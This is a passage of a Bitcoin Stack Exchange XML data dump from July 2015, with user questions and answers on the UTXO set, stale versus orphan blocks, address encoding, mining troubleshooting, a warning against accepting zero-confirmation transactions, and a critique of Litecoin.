1436904967&lt;br&gt;&#xA;    &lt;strong&gt;version 3&lt;/strong&gt; }&lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2015-07-14T18:30:17.357" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38604" PostTypeId="1" CreationDate="2015-07-14T18:49:42.333" Score="1" ViewCount="108" Body="&lt;p&gt;There was a website which shows statistics about the size of the set of all unspent transaction outputs. I can't find it any more.&lt;/p&gt;&#xA;" OwnerUserId="3576" LastActivityDate="2015-07-15T00:11:51.203" Title="How large is the current utxouts set" Tags="|transactions|live-data|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38605" PostTypeId="2" ParentId="38604" CreationDate="2015-07-14T18:49:42.333" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://statoshi.info/dashboard/db/unspent-transaction-output-set&quot; rel=&quot;nofollow&quot; title=&quot;satoshi.info&quot;&gt;satoshi.info&lt;/a&gt; has data about the unspent transaction outputs going back up to 30 days.&lt;/p&gt;&#xA;" OwnerUserId="3576" LastActivityDate="2015-07-14T18:49:42.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38607" PostTypeId="2" ParentId="38604" CreationDate="2015-07-14T23:43:29.340" Score="2" Body="&lt;p&gt;This information can be retrieved from a running node with the &lt;code&gt;getutxosetinfo&lt;/code&gt; command. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $ bitcoin-cli gettxoutsetinfo&#xA;{&#xA;  &quot;height&quot;: 365344,&#xA;  &quot;bestblock&quot;: &quot;0000000000000000007c35a02dcbc73a0d10ef4cbaee9a597fe16208a828f451&quot;,&#xA;  &quot;transactions&quot;: 6784625,&#xA;  &quot;txouts&quot;: 25716140,&#xA;  &quot;bytes_serialized&quot;: 877658065,&#xA;  &quot;hash_serialized&quot;: &quot;14bfa4c4aca29b11099b70deb76ee2e174524e70e8bb57addfa0ba17c3254804&quot;,&#xA;  &quot;total_amount&quot;: 14383464.76669119&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that &quot;bytes serialized&quot; is a measure of the &lt;em&gt;compressed&lt;/em&gt; UTXO.&lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-07-15T00:11:51.203" LastActivityDate="2015-07-15T00:11:51.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38609" PostTypeId="2" ParentId="38583" CreationDate="2015-07-15T03:04:17.897" Score="1" Body="&lt;p&gt;Due to a lack of responses here, I cross posted this question on the stackoverflow channel. Here is a link with the answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/31409720/using-bitcoin-ruby-to-make-a-transaction/31420786#31420786&quot;&gt;https://stackoverflow.com/questions/31409720/using-bitcoin-ruby-to-make-a-transaction/31420786#31420786&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27399" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2015-07-15T03:04:17.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38610" PostTypeId="1" CreationDate="2015-07-15T03:10:22.120" Score="0" ViewCount="1376" Body="&lt;p&gt;I want to scan new transactions as they are added to the block chain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a suggestion on how to do this. Are there any APIs that allow for this? Or is there a way to directly tap into the bitcoin network with ruby?&lt;/p&gt;&#xA;" OwnerUserId="27399" LastActivityDate="2015-07-20T22:44:36.277" Title="How to monitor the blockchain for new blocks" Tags="|transactions|blockchain|block|ruby|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38614" PostTypeId="1" AcceptedAnswerId="38616" CreationDate="2015-07-15T06:39:57.807" Score="1" ViewCount="646" Body="&lt;p&gt;In terms of a selfish attack many sources speak of orphaned blocks, i.e. blocks that are not on the main chain and thus not paying any coinbase transaction to its miner. Still I'm not sure and confused by terminology. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Don't we actually mean stale blocks when talking in context of selfish mining?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Despite an answer by Pieter Wuille to a &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5859/what-are-orphaned-and-stale-blocks&quot;&gt;similar question&lt;/a&gt; I'm not sure which type would apply to a block outside the best chain in a selfish mining scenario.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an extract to Pieter's answer:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;However, there also exist real orphan blocks, with orphan in its original meaning of &quot;having no parent&quot;. These are blocks received by a node that does not have its entire ancestry (yet) and thus cannot be validated. Nodes keep such blocks in memory, while asking their peers to fill in the gap of their history. The client does not show these, so when people talk about orphan blocks, they are most likely referring to extinct blocks. Note that since Bitcoin Core v0.10, there are no such orphan blocks anymore, due to a significant change in the download mechanism.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Furthermore I'd love to know if and which of &lt;strong&gt;stale or orphaned blocks are pruned&lt;/strong&gt; from history? And in what time intervals, if so?&lt;/p&gt;&#xA;" OwnerUserId="24556" LastEditorUserId="5406" LastEditDate="2020-07-25T21:25:19.153" LastActivityDate="2020-07-25T21:25:19.153" Title="Selfish Mining: stale or orphan?" Tags="|blockchain|validation|orphaned-blocks|stale-block|selfish-mining|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38615" PostTypeId="2" ParentId="38586" CreationDate="2015-07-15T07:14:33.080" Score="2" Body="&lt;p&gt;The inflation voting and the federated voting in the SCP consensus algorithm are happening at totally different levels of abstraction.  Inflation voting is a property of your wallet, stored in the ledger.  Whatever you set it to stays in effect until you change it.  The inflation algorithm, when it is run, just goes off the inflation votes in the ledger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now a validator in SCP could try to prevent you from changing your inflation destination, which would be the same as trying to prevent you from sending a payment.  If that validator (or some validator it is colluding with) happens to be the highest priority node in the nomination protocol for one ledger, then it could indeed potentially censor that request for that ledger.  But as soon as an honest validator leads the nomination protocol, the previously censored transaction will make it through nomination into the balloting process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the inflation adjusting transaction makes it through nomination, bad validators could refuse to participate in SCP balloting, which is akin to crashing.  Whether or not that crash brings the network to a halt depends on whether there are sufficient remaining good nodes to form a quorum.&lt;/p&gt;&#xA;" OwnerUserId="24989" LastActivityDate="2015-07-15T07:14:33.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38616" PostTypeId="2" ParentId="38614" CreationDate="2015-07-15T07:46:37.090" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Don't we actually mean stale blocks when talking in context of selfish mining?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You &lt;em&gt;always&lt;/em&gt; mean stale blocks, never orphan ones. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An orphan block is one that you can not connect to your local chain because you are missing a parent, in the current version of the software you can never get into the situation where this happens. When most people are talking about an &quot;orphan block&quot; they mean &quot;stale block&quot;, the syncing behavior is not something users ever come into contact with. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This misnomer comes from when users mined with &lt;code&gt;bitcoin-qt&lt;/code&gt;, when a block became stale the transaction paying the coinbase output into their wallet would gain the tag &quot;orphaned&quot;. People associated the term &quot;orphan transaction&quot; with &quot;orphan block&quot; incorrectly, not helped by the fact that many popular websites also use this term to describe stale blocks as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FcJzK.png&quot; alt=&quot;An incorrect website showing the term orphan block.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Furthermore I'd love to know if and which of stale or orphaned blocks are pruned from history? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They are retained on disk in case they are used again in the future. There is no process for removing stale blocks from disk specifically. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-07-15T08:42:11.563" LastActivityDate="2015-07-15T08:42:11.563" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38617" PostTypeId="1" CreationDate="2015-07-15T08:01:56.457" Score="2" ViewCount="2363" Body="&lt;p&gt;When I use blockchain.info tools or bitcointoolkit.info tools &lt;/p&gt;&#xA;&#xA;&lt;p&gt;to convert an address, such as 1MCNpVGDY7BGjJyWZL5FJZiaVkQEiuxy8H&#xA;to a hash 160 public key : I get dd894dfc0f473c44cc983b5dd462bc1b393f7498&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if i convert 3MtPk2kf61VepUfwgRjqjC5WeGgxE4rRPS&#xA;i get the SAME 160 hash address ie dd894dfc0f473c44cc983b5dd462bc1b393f7498&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am baffled by this. I thought a hash 160 should UNIQUELY convert between it and the Address and back ??? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also found other address that convert back fro hash160 to the wrong address....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks for any clarification.....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;9a278585c51203bca9f0e5c107814ecef6f2aa12&lt;/p&gt;&#xA;" OwnerUserId="27433" LastActivityDate="2015-07-15T10:41:37.660" Title="bitcoin address to Hash 160 public key : not consistantly reversible?" Tags="|hash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38618" PostTypeId="2" ParentId="38617" CreationDate="2015-07-15T08:27:27.017" Score="1" Body="&lt;p&gt;Both of those are correct decoding, the difference is the base58check version byte. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;1MCNpVGDY7BGjJyWZL5FJZiaVkQEiuxy8H has a version byte of &lt;code&gt;0x01&lt;/code&gt; for P2PKH&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;3MtPk2kf61VepUfwgRjqjC5WeGgxE4rRPS has a version byte of &lt;code&gt;0x05&lt;/code&gt; for P2SH&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Due to it being a hash, only one of these is typically going to have a valid destination, either a pubkey (P2PKH) or a script (P2SH). If money has been sent to both version bytes of the same hash it is very likely that one amount has been lost. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-07-15T08:27:27.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38619" PostTypeId="5" CreationDate="2015-07-15T08:40:14.700" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-07-15T08:40:14.700" LastActivityDate="2015-07-15T08:40:14.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38620" PostTypeId="4" CreationDate="2015-07-15T08:40:14.700" Score="0" Body="Collects questions concerned with the practice of accepting transactions before they reach their first confirmation, i.e. &quot;zero-confirmation&quot;." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-07-15T08:40:14.700" LastActivityDate="2015-07-15T08:40:14.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38621" PostTypeId="1" CreationDate="2015-07-15T08:41:20.057" Score="1" ViewCount="175" Body="&lt;p&gt;The price of bitcoin is up ~30% over the last three months, but the network hash rate is only up ~5%. How can this be explained?&#xA;I assume that new, highly efficient mining chips have been produced every week of the last three months. Therefore I would expect the global pool of miners to be able to hash more with the same amount of electricity. Since an increase in block reward revenue (in terms of USD) is proportional to an increase in price... I would have expected a &quot;greater than 30%&quot; increase in hash rate. Could part of the explanation be volatility in the price of electricity? Were miners operating unprofitably three months ago and have since then come to their senses? Appreciate your theories.&#xA;&lt;a href=&quot;https://blockchain.info/charts/hash-rate?timespan=180days&amp;amp;showDataPoints=false&amp;amp;daysAverageString=7&amp;amp;show_header=true&amp;amp;scale=0&amp;amp;address=&quot; rel=&quot;nofollow&quot;&gt;graph of Hash rate&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12311" LastEditorUserId="5406" LastEditDate="2016-03-10T09:41:45.567" LastActivityDate="2016-03-10T09:41:45.567" Title="If price increases over a time period, what is the best explanation(s) if hash rate goes down?" Tags="|exchange-rate|mining-profitability|hashpower|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38623" PostTypeId="2" ParentId="38621" CreationDate="2015-07-15T11:12:33.067" Score="1" Body="&lt;p&gt;The price was pretty stable and very low for most of those three months, it only picked up significantly in the last few weeks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the price had been low and in a long-term down-trend, the profit margin would be extraordinarily slim, making the market even more competitive. This should have limited additional investments by current players, and curbed interest of new players to enter the mining market. It appears that any technological advancements have only driven out less efficient rigs and improved profit margins slightly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the acquisition cost of mining rigs represents a significant portion of the total operation cost, I would assume that short swings would only cause less efficient hardware to be turned back on for the time being, but a major wave of new acquisitions would need a pronounced long-term up-trend. Even if the current swing is perceived as such, order, delivery, and taking into operation will lag behind the trend some weeks to months.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2015-07-15T11:12:33.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38625" PostTypeId="2" ParentId="20845" CreationDate="2015-07-15T14:40:03.757" Score="4" Body="&lt;h2&gt;It has become trivial to double-spend; do not accept zero-confirmation transactions!*&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Accepting zero-confirmation transactions today is not safe: Especially, with the full blocks of late, it is almost trivial to double-spend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only accepting the first seen transaction for the same inputs and discarding double-spending transactions had been a policy that made zero-confirmation viable for a while. However, it merely being a suggested policy, it had not been followed by all mining pools for some time.&lt;br&gt;&#xA;Now, some clients also relay double-spending transactions, in order to make double-spend attempts more visible, which in turn however helps double-spend attempts to spread through the network, therefore enabling their success.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Attack pattern&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Successful attacks have been performed by sending one transaction with low mining-priority due to &quot;dust/low-fee/reused-address/large-size/etc.&quot; paying the merchant, then, even after receiving the goods, to send a normal transaction. The payment to the merchant will not get picked up quickly, especially with fairly full blocks, while the normal transaction gets picked up eventually by some mining pool that doesn't enforce the &quot;first-seen transaction policy&quot;. See Simon Green on Bitcoin-Dev-Mailinglist: &lt;a href=&quot;https://www.mail-archive.com/bitcoin-dev@lists.linuxfoundation.org/msg00500.html&quot; rel=&quot;nofollow&quot;&gt;Significant losses by double-spending unconfirmed transactions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I have been reading, this has already caused e.g. Shapeshift, BitPay, and Coinbase trouble for accepting zero-confirmation transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With full blocks, some clients relaying doublespending transactions, and miners choosing highest fee, it is easy to doublespend. &lt;strong&gt;Do not accept zero-confirmation transactions.&lt;/strong&gt;*&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;*If a transaction pays a good fee and is highly relayable/minable, it may be safe, but you definitely need to check.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-07-15T15:15:21.460" LastActivityDate="2015-07-15T15:15:21.460" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38627" PostTypeId="1" CreationDate="2015-07-15T16:45:35.187" Score="3" ViewCount="489" Body="&lt;p&gt;I created Bitcoin accounts using different clients but all clients I tried prompt for new public key for each request. My question is shouldn't be the public key one's identity which one should be able to publish and own even changing bitcoin clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clients always give me new key which makes me feel insecure to use a single key for overtime use. For example I created and want to stick to &lt;a href=&quot;http://bitcoin:1N3eYqC7EJdbBBXQ6ntQpmzedVrGeG8iqJ?amount=0.065&quot; rel=&quot;nofollow noreferrer&quot;&gt;this key&lt;/a&gt;: &lt;code&gt;1N3eYqC7EJdbBBXQ6ntQpmzedVrGeG8iqJ&lt;/code&gt; but if I go create another request new key will be generated, &lt;strong&gt;the main concern is should I be sure that this key will always be pointed to my wallet?&lt;/strong&gt; As I am not sure and don't have bitcoins to test if coins are received at this address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used multiBit and Android App, none of these give private key as far I browsed. I am looking for an 'identity' to publish for receiving any number of payment, like we can share our paypal email to receive payments.&lt;/p&gt;&#xA;" OwnerUserId="27442" LastEditorUserId="27442" LastEditDate="2017-06-03T18:20:42.427" LastActivityDate="2017-06-03T18:20:42.427" Title="Why new public key for every new request?" Tags="|multibit|address-reuse|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38628" PostTypeId="1" CreationDate="2015-07-15T16:46:20.937" Score="1" ViewCount="550" Body="&lt;p&gt;I'm new to bitcoin mining and am trying to figure everything out still. My Antminer U1 running on my raspberry pi using cgminer is not accepting any shares, and doesn't appear inside of the mining pool's (bitminter) dashboard. Also my antminer which was advertised at 1.6 GH has only ever gotten up to 600 MH. Can anyone tell me why this is happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KVBeT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Bv2dY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b6ZNz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="27443" LastActivityDate="2015-07-15T23:02:46.650" Title="Antminer U1 running on raspberry pi not accepting shares" Tags="|cgminer|mining-pool-shares|raspberry-pi|antminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38629" PostTypeId="1" CreationDate="2015-07-15T16:47:59.687" Score="1" ViewCount="103" Body="&lt;p&gt;How do I get started with Mastercoin? Are there useful tutorials or guides? I am looking at creating a cryptocurrency on Mastercoin so as to leverage on the features of the Bitcoin blockchain and Mastercoin.&lt;/p&gt;&#xA;" OwnerUserId="27441" LastEditorUserId="5406" LastEditDate="2015-07-15T21:08:24.053" LastActivityDate="2015-07-15T21:08:24.053" Title="How do I get started with mastercoin? What tutorial or guide is a good start?" Tags="|omni|altcoin-development|" AnswerCount="0" CommentCount="0" ClosedDate="2019-07-17T17:31:45.680" ContentLicense="CC BY-SA 3.0" />
  <row Id="38630" PostTypeId="2" ParentId="38627" CreationDate="2015-07-15T16:50:14.833" Score="4" Body="&lt;p&gt;The reason is privacy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you reuse the same key for every transaction, everyone who ever transacts with you can infer your entire balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No, public keys should not be identities, exactly because the transactions to them are public too. Your ability to create many pseudonyms in the system the only way through which it has any privacy. By reusing addresses you hurt your privacy, but also that of others who interact with you.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-07-15T16:50:14.833" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38631" PostTypeId="1" CreationDate="2015-07-15T22:35:22.160" Score="2" ViewCount="429" Body="&lt;p&gt;I want to understand the process that occurs when a recovery key is used with Ripple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain either the old process (wallet) or the new process (trade)... there was a massive change in how this works requiring a migration of previous XRP and I'm trying to see how this all ties together.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2015-07-15T22:35:22.160" Title="How does the Ripple recovery key work?" Tags="|ripple|wallet-recovery|" AnswerCount="0" CommentCount="0" ClosedDate="2019-07-17T21:14:23.557" ContentLicense="CC BY-SA 3.0" />
  <row Id="38632" PostTypeId="2" ParentId="34161" CreationDate="2015-07-15T22:41:41.560" Score="2" Body="&lt;p&gt;You can find a list of services and merchants that accept Litecoin on the &lt;a href=&quot;https://litecoin.info/Category:Services&quot; rel=&quot;nofollow noreferrer&quot;&gt;Litecoin-Wiki&lt;/a&gt;.&lt;br /&gt;&#xA;That said, Litecoin has only minimal differences to Bitcoin: It uses Scrypt as its Mining algorithm, and reduced the block interval to 2.5 minutes, while keeping the halving interval (by requiring four times the blocks before the halving).&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR: Unless it is financially profitable to you, there seems to be little reason to mine Litecoin. You find my point-by-point reasoning below.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Block-interval&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First confirmation can be achieved in approximately 2.5 minutes.&lt;br /&gt;&#xA;&lt;em&gt;This is the biggest advantage over Bitcoin, however, it is still too long for a transaction in a physical store, and in most other scenarios waiting for 2.5 minutes or ten minutes is hardly a difference.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Litecoin can handle about four times the amount of transactions than Bitcoin can.&lt;br /&gt;&#xA;&lt;em&gt;However, Litecoin only has only about 5,000 transactions per day, while Bitcoin has more than 100,000 (recently peaking 200,000 due to the spam-attacks), rendering this advantage irrelevant so far.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Wallets have to store four times as many blocks.&lt;br /&gt;&#xA;&lt;em&gt;A similarly utilized blockchain would be significantly bigger, and the additional blocks are especially a problem for SPV-wallets, which have to store four times as many block headers.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/38587/5406&quot;&gt;Shorter blocks favor large mining pools&lt;/a&gt; and cause more &lt;a href=&quot;https://bitcoin.stackexchange.com/a/38439/5406&quot;&gt;SPV mining&lt;/a&gt;.&lt;br /&gt;&#xA;&lt;em&gt;The recently more frequent SPV mined blocks (essentially empty blocks) have caused an additional upper bound on transaction capacity in Bitcoin, leading to discussion on whether even 10 minutes would be too short, if one were to start Bitcoin from scratch.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;Scrypt vs SHA-256&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&amp;quot;Scrypt is GPU and ASIC-resistant.&amp;quot;&lt;br /&gt;&#xA;&lt;em&gt;While Scrypt benefits less from raw computing power, but also requires more RAM, it has reduced the advantage of GPU and ASICs slightly, but its resistance has since been disproven by the emergence of Scrypt ASICs. Essentially, you just had to buy different hardware in a similar game.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Scrypt is harder to verify.&lt;br /&gt;&#xA;&lt;em&gt;As the computation per Scrypt hash is more complex, it takes longer to verify blocks. This hampers the synchronization of normal nodes, and demands hardware wallets to have significantly more power in order to even keep up with the network. This limits the ASIC-resistance of Scrypt, as higher memory requirements would also cause slower verification.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Scrypt does not offer a greater level of security.&lt;br /&gt;&#xA;&lt;em&gt;In the end, the balance is found between the economic incentive, and the cost of providing mining power. The trade-off is the same as with Bitcoin, thus not providing any significant advantage.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;Network effect&lt;/h2&gt;&#xA;&lt;p&gt;Currencies are a means for society to measure individuals' contributions and claims on society. This is a network that strongly benefits from market penetration: Just like a phone is useful if you and your best friend have one, it is exponentially more useful if everyone has one.&lt;br /&gt;&#xA;Systems that display such a network effect show a strong tendency towards one dominant exhibit per society. Examples of the effect at work are the elimination of languages through globalization, Facebook vs Myspace, or E-Mail vs Snail Mail. In the case of cryptocurrencies, the internet is the scope of society this competition presents in.&lt;br /&gt;&#xA;Other than in previous examples such as Facebook, the language barrier is hardly an obstacle, as currency is its own language transcending cultural borders.&lt;/p&gt;&#xA;&lt;p&gt;Due to Litecoin's similarity to Bitcoin, I see two long-term possibilities:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Bitcoin thrives: In that case, there will emerge one (or very few distinctly specialized) dominant cryptocurrency. As Litecoin doesn't seem to feature any convincing advantages over Bitcoin's headstart in market penetration, I fail to see that Litecoin will at any point become more useful or valuable than Bitcoin.&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin fails: Being so similar, I fail to perceive any characteristics that would enable Litecoin to succeed where Bitcoin failed.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2&gt;&amp;quot;Transaction volume will scale through altcoins&amp;quot;&lt;/h2&gt;&#xA;&lt;p&gt;I remain unconvinced that anybody would be interested in holding and transacting in a multitude of currencies each and every day. It is inconvenient and confusing.&lt;br /&gt;&#xA;There may several cryptocurrencies catering to distinctly different needs and/or societies. However, it is likely that they would be coupled interchangeably in some fashion, such as perhaps the Bitcoin blockchain and the Lightning Network.&lt;/p&gt;&#xA;&lt;h2&gt;Litecoin has utility as a higher stake Testnet for Bitcoin&lt;/h2&gt;&#xA;&lt;p&gt;Litecoin has been used as a testing ground for new Bitcoin features in the past, for example when Litecoin activated segwit before Bitcoin. This is a benefit to Bitcoin users mostly, but I don't see how that drives demand for Litecoin.&lt;/p&gt;&#xA;&lt;h2&gt;Conclusion: There is little reason to mine Litecoin&lt;/h2&gt;&#xA;&lt;p&gt;Unless you find that it to be profitable to mine Litecoin and sell it to the &lt;a href=&quot;https://en.wikipedia.org/wiki/Greater_fool_theory&quot; rel=&quot;nofollow noreferrer&quot;&gt;greater fool&lt;/a&gt;, I find no other reason to mine Litecoin.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2018-12-13T20:05:25.103" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="38633" PostTypeId="2" ParentId="38628" CreationDate="2015-07-15T23:02:46.650" Score="1" Body="&lt;p&gt;The line &lt;code&gt;connected to mint.bitminter.com diff 512&lt;/code&gt; means that the remote pool will only accept shares with an effective difficulty of 512 or above. Your miner has not yet found any shares with satisfy this rule, as noted by the line &lt;code&gt;best share 57&lt;/code&gt;. It may take a number of hours at this speed to find a significantly difficult share that the pool will accept, when you do the log will print a line saying &lt;code&gt;accepted&lt;/code&gt; or &lt;code&gt;rejected&lt;/code&gt; depending on the pools response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vK72Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;diff 947/128&lt;/code&gt; in this case means the remote pool was asking for minimum difficulty 128, and the miner managed to find a difficulty 947 share which satisfied this requirement.&lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-07-15T23:02:46.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38636" PostTypeId="1" AcceptedAnswerId="38649" CreationDate="2015-07-16T02:28:32.737" Score="-1" ViewCount="249" Body="&lt;p&gt;I bought a YellowJacket to mine bitcoins. I'm using my raspberry pi to test it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My actual configuration is: Raspberry pi using the usb from a laptop. With 1 yellow jacket. Software cgminer 4.9.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is why I get so low speed? &#xA;What I can do to improve my speed ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ffrDS.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ICgYn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="27406" LastEditorUserId="5406" LastEditDate="2016-03-31T17:16:38.810" LastActivityDate="2016-03-31T17:16:38.810" Title="Why my mining has average so low" Tags="|cgminer|miner-configuration|performance|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38637" PostTypeId="1" CreationDate="2015-07-16T03:44:44.773" Score="7" ViewCount="776" Body="&lt;p&gt;At the moment it seems to me on the .NET side NBitcoin would compete with Bitcoin.js on the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: I decided on NBitcoin. It has a &lt;a href=&quot;https://github.com/ProgrammingBlockchain/ProgrammingBlockchain&quot; rel=&quot;nofollow noreferrer&quot;&gt;great book&lt;/a&gt; to learn from.&#xA;Note I will not form opinion on my question, I contributed a great chunk of this book, so I would be biased.&lt;/p&gt;&#xA;" OwnerUserId="26859" LastEditorUserId="26859" LastEditDate="2016-11-18T13:30:24.497" LastActivityDate="2017-09-07T10:18:35.700" Title="Which language has better Bitcoin API experience, C# or Node.js?" Tags="|c#|bitcoinjs|node.js|nbitcoin|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
